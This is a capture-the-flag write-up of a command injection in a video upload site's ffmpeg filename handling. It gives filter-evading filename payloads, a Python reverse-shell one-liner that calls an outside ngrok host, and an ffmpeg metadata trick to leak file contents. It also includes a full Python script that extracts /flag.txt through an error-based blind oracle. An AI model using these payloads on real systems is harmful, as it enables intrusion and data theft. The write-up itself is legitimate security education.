## The Challenge
The challenge is available [here](https://challenge-0723.intigriti.io).
The site greets us with a form to upload a `.mp4` file. If we submit a video, the site sends back the audio component of our video in `.wav` format.
![](https://i.imgur.com/HtBE3o6.png)
![](https://i.imgur.com/t3jV2q5.png)
The goal is to find a flag hidden on the web server.
## Recon
Before we start trying to break the site, we should know as much as possible about what we're trying to break. The site sends us back a `.wav` file, so maybe we should check that out for exif data?
```
$ exiftool extracted_audio.wav
ExifTool Version Number : 12.40
File Name : extracted_audio.wav
Directory : .
File Size : 722 KiB
File Modification Date/Time : 2023:07:18 11:39:25+10:00
File Access Date/Time : 2023:07:18 18:36:38+10:00
File Inode Change Date/Time : 2023:07:18 11:39:30+10:00
File Permissions : -rwxrwxrwx
File Type : WAV
File Type Extension : wav
MIME Type : audio/x-wav
Encoding : MP3
Num Channels : 2
Sample Rate : 44100
Avg Bytes Per Sec : 24000
Bits Per Sample : 0
Number Of Samples : 1357738
Software : Lavf58.20.100
Duration : 0:00:31
```
That `Software` header is interesting. If we are to believe it, our file was created using `Lavf58.20.100`. What is that?
Putting it into google, the first result that comes up is actually the wikipedia page for `ffmpeg`:
> FFmpeg also includes other tools: ... libavformat (Lavf), an audio/video container mux and demux library
Muxing/Demuxing basically means joining/splitting signals apart-- like splitting apart the audio from a video file. It's interesting that our input is passed through `ffmpeg`, because it suggests that our input file might be passed as an argument on the command line. We should keep a look out for command injection.
Other than that, it doesn't seem like there's any other hints as to what's running on the site. Nothing in the source code nor the ingoing/outgoing requests.
## What Makes a Video a Video?
If the video upload is the entire site, then we're probably looking for some kind of file upload vulnerability. In our search, we'll need to answer one question: what makes a video file a video file?
Wow, that's really philosophical. But really, if we're trying to upload something malicious to the server, we need to figure out what the server will let us upload. Is it the extension at the end of the filename? Is it some arbitrary series of bytes in the header? Some arbitrary filesize that needs to be met?
We craft inputs to the server to answer this question.
### The Filename
If we send a file without the `.mp4` at the end of the filename, it errors on us:
![](https://i.imgur.com/BnceGSM.png)
Apparently we also need to keep our filename free of spaces?
> What makes a video a video?
> 1. A video filename must end with `.mp4` and be free of spaces.
### Command Injection?
Before we fuzz the contents of our video file, let's check the filename for the command injection that we, from our recon, suspect might be here.
If the server is indeed passing our file to `ffmpeg` on the command line, the command being run is probably something like
```bash
ffmpeg -i <our file> -vn -acodec copy extracted_audio.wav
```
(From the first stackoverflow post I found for 'extracting audio from a video', available [here]([o](https://stackoverflow.com/questions/9913032/how-can-i-extract-audio-from-video-with-ffmpeg)).)
We'll use `#` to comment out the necessary `.mp4` and everything else after our injection. We'll use `;` to inject our command:
```bash
ffmpeg -i ;ls;#.mp4 -vn -acodec copy extracted_audio.wav
```
![](https://i.imgur.com/IvzaxEe.png)
![](https://i.imgur.com/AO1ptJE.png)
If the server is only producing errors when we put in non-existent linux commands, we've probably found command injection.
## The Challenge
Well, if we have command injection in our filename, it probably doesn't matter what we have in our file contents-- let's try submitting an empty file with a command injection:
![](https://i.imgur.com/UgP2Eb8.png)
Cool.
However, no matter what we make the server do, we always get the same output back to us. This is because we're not modifying the `extracted_audio.wav` file that gets sent back. Every once in a while the output would change, presumably because someone uploaded a new file.
![](https://i.imgur.com/UgP2Eb8.png)
![](https://i.imgur.com/qJkvdNU.png)
So, the challenge is that we need to perform a blind command injection without spaces, from a filename?
If it's a filename, we also can't use forward slashes, because according to wikipedia:
> In Unix-like file systems, the null character and the path separator / are prohibited.
So we'll take a payload from [revshells.com](https://revshells.com), substitute space for `${IFS}`, hex encode the forward slashes, and then it should work, right?
By testing, we can determine that `python3` is available on the server:
![](https://i.imgur.com/q8dronp.png)
But, if we try to send a revshell payload that should theoretically work, like
```bash
;python3${IFS}-c${IFS}${IFS}$'s=__import__(\'socket\').socket();s.connect((\'0.tcp.au.ngrok.io\',18904));[__import__(\'os\').dup2(s.fileno(),0),__import__(\'os\').dup2(s.fileno(),1),__import__(\'os\').dup2(s.fileno(),2)];__import__(\'pty\').spawn(\'\x2fbin\x2fsh\')';#.mp4`
```
it fails:
![](https://i.imgur.com/mnuCFYg.png)
If we attempt to submit other revshell payloads that should work, we get a similar result-- this time, by calling `eval` on a base64 encoded bash payload that we decode with command substitution:
![](https://i.imgur.com/GVvpauu.png)
This leads us to one conclusion:
We can't establish outgoing connections.
## SOLUTION 1: Error-Based Command Injection
Well, if we can't establish a revshell, we'll just work with the server.
Looking around, we can determine that the file `/flag.txt` must exist from the fact that attempting to access non-existent files causes an error (at this point, I just started base64 encoding every one of my commands so I don't have to worry about filters):
```bash
cat /flag.txt
```
![](https://i.imgur.com/5mAOtef.png)
```bash
cat /nonexistentfileprobablyihopeso
```
![](https://i.imgur.com/pWRctk3.png)
In blind SQL injection, a common technique is using an error-based or time-based oracle to determine the character code of some character in the data.
Why can't we do the same here?
We can pipe our `cat /flag.txt` to `cut` to get a character. Then, we pipe again to `od` to determine the character code. From there, we use `test` or `if` to trigger some conditional behaviour based on the character code-- like dividing by 0 to deliberately cause an error.
A payload for testing the first character might look like:
```bash
test $(cat /flag.txt | cut -c 0 | tr -d "\n" | od -An -t dC) -gt <char code> && echo plswork || 1/0
```
We can use our base64 encoded payload method from before to ignore the character restrictions and extend it using a binary search algorithm to determine each character in around 8 requests:
*Note: I know the flag is 46 characters long because `od` returns 0 when the character is non-existent.*
```python
import requests
import base64
VICTIM_URL = 'https://challenge-0723.intigriti.io'
UPLOAD_ENDPOINT = '/upload'
FLAG_LENGTH = 46
# we assume the flag is ascii printable
MAX_CHAR_CODE = 126
MIN_CHAR_CODE = 33
def greater_query_cmd(index, charCode):
return fr'test $(cat /flag.txt | cut -c {index + 1} | tr -d "\n" | od -An -t dC) -gt {charCode} && echo plswork || 1/0'
def lesser_query_cmd(index, charCode):
return fr'test $(cat /flag.txt | cut -c {index + 1} | tr -d "\n" | od -An -t dC) -lt {charCode} && echo plswork || 1/0'
def equal_query_cmd(index, charCode):
return fr'test $(cat /flag.txt | cut -c {index + 1} | tr -d "\n" | od -An -t dC) -eq {charCode} && echo plswork || 1/0'
def build_payload(cmd):
cmd_base64 = base64.b64encode(cmd.encode('utf-8'))
return r'abcd.mp4;eval${IFS}$(echo${IFS}' + cmd_base64.decode('utf-8') + r'|base64${IFS}-d);#${IFS}.mp4'
def send_cmd(cmd):
payload = build_payload(cmd)
files = {
'video': (
payload,
bytes(),
'video/mp4'
)
}
r = requests.post(
VICTIM_URL + UPLOAD_ENDPOINT,
files = files
)
result = 'error' not in r.text
return result
def search_character(char_index):
print('[SEARCH] beginning search for character at index', char_index)
upper = MAX_CHAR_CODE
lower = MIN_CHAR_CODE
while (lower <= upper):
middle = int((lower + upper) / 2)
if (send_cmd(greater_query_cmd(char_index, middle))):
print('[SEARCH] character is greater than', middle)
lower = middle + 1
elif (send_cmd(lesser_query_cmd(char_index, middle))):
print('[SEARCH] character is less than', middle)
upper = middle - 1
else:
return chr(middle)
return None
def main():
final_string = ''
char_index = 0
while (char_index < FLAG_LENGTH):
final_string += search_character(char_index)
print('CURRENTLY KNOWN TEXT:', final_string)
char_index += 1
if __name__ == '__main__':
main()
```
Running this for around 10 minutes, we obtain the flag. (I could have parallelized it to go faster but why bother? :) )
![](https://i.imgur.com/XyBFvls.png)
The flag is `INITGRITI{c0mm4nd_1nj3c710n_4nd_0p3n55l_5h3ll}`.
## SOLUTION 2: Using FFMPEG to Write to `extracted_audio.wav`
Sure, error-based command injection is cool. But isn't there some more elegant way of doing this challenge, without making so many requests? Isn't there some output that we have access to?
Well, what about `extracted_audio.wav`? Typically, the `ffmpeg` command would generate it and then it would be sent to the user. What if we `cat` our flag but redirect it into `extracted_audio.wav`?
We base64 encode `cat /flag.txt > extracted_audio.wav` and use our previous technique once again, but this fails:
![](https://i.imgur.com/ZJSK2Zg.png)
Most likely, it fails because we're not writing to the correct `extracted_audio.wav`. Who knows what directory that file is in? This is a dead end.
If we want to write to the correct `extracted_audio.wav`, there's actually a really simple way.
Recall that originally, the command was likely something like:
```bash
ffmpeg -i <our filename> -vn -acodec copy /somefolder/folder/extracted_audio.wav
```
What if our injection made ffmpeg write the flag into `extracted_audio.wav`?
In fact, if we take a look at the ffmpeg documentation, we can see a super obvious candidate: the `-metadata` tag.
```
-metadata[:metadata_specifier] key=value (output,per-metadata)
Set a metadata key/value pair.
An optional metadata_specifier may be given to set metadata on streams, chapters or programs. See -map_metadata documentation for details.
This option overrides metadata set with -map_metadata. It is also possible to delete metadata by using an empty value.
For example, for setting the title in the output file:
ffmpeg -i in.avi -metadata title="my title" out.flv
To set the language of the first audio stream:
ffmpeg -i INPUT -metadata:s:a:0 language=eng OUTPUT
```
We'll follow their example and try to set the title of `extracted_audio.wav` to the contents of `/flag.txt`. We'll send this filename:
```bash
sample.mp4 -metadata title=$(cat /flag.txt).mp4
```
To hopefully produce this executed command:
```bash
ffmpeg -i sample.mp4 -metadata title=$(cat /flag.txt).mp4 -vn -acodec copy /somefolder/folder/extracted_audio.wav
```
In our actual payload, we'll base64 encode the `cat /flag.txt` part and replace any spaces with `${IFS}` to ensure we don't have to deal with the filter. This gives us a final payload of:
```bash
sample-mp4-file-small.mp4${IFS}-metadata${IFS}title=$(eval${IFS}$(echo${IFS}Y2F0IC9mbGFnLnR4dA==|base64${IFS}-d)).mp4
```
![](https://i.imgur.com/srJv9Bm.png)
The flag appears in the selected text. Much more elegant!